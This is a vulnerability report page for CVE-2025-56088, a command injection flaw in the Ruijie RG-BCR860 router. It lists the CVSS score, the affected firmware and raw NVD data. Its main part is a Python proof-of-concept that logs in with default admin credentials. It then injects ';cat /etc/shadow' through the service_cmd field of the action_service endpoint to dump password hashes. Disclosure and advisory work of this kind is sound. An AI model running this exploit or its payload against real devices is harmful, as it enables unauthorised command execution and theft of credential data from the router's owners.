Security Vulnerability Report
中文
CVE-2025-56088 CVSS 8.8 HIGH

CVE-2025-56088

Published: 2025-12-11 18:16:21
Last Modified: 2026-01-26 20:55:36

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_service in file /usr/lib/lua/luci/controller/admin/service.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr860_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR RG-BCR860 固件版本 <= 存在漏洞的特定版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56088 PoC - Ruijie RG-BCR RG-BCR860 OS Command Injection # Target: Ruijie RG-BCR RG-BCR860 # Vulnerability: OS Command Injection in action_service endpoint target = "http://target-ip" # Replace with target IP username = "admin" # Replace with valid credentials password = "admin" # Replace with valid password session = requests.Session() # Step 1: Login to get session cookie login_url = f"{target}/cgi-bin/luci/admin/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, data=login_data, timeout=10) print(f"[+] Login response status: {response.status_code}") # Step 2: Send malicious request with command injection payload # Target endpoint: /usr/lib/lua/luci/controller/admin/service.lua exploit_url = f"{target}/cgi-bin/luci/admin/service/action_service" # Command injection payload - extract shadow file payload = ";cat /etc/shadow" exploit_data = { "service_cmd": payload, "action": "custom" } print(f"[*] Sending exploit payload: {payload}") response = session.post(exploit_url, data=exploit_data, timeout=10) print(f"[+] Exploit response status: {response.status_code}") print(f"[+] Response content:") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56088", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.997", "lastModified": "2026-01-26T20:55:35.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_service in file /usr/lib/lua/luci/controller/admin/service.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr860_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFB262F4-8641-40D7-B8E5-9B4575B5AA1C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:*", "matchCriteriaId": "AEB06D24-93E3-42B4-AD6C-5510F5B5EDDC"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqEQemupso9DldgG-EcUI8IBLpEWP_S-f6vpeUtYztYYCg?e=gX4A10", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EQ5pK82-KmxKht6YgsEzaOsBzrC05Cael1vwpfM9ZxX97Q?e=qEgmtB", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56088.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}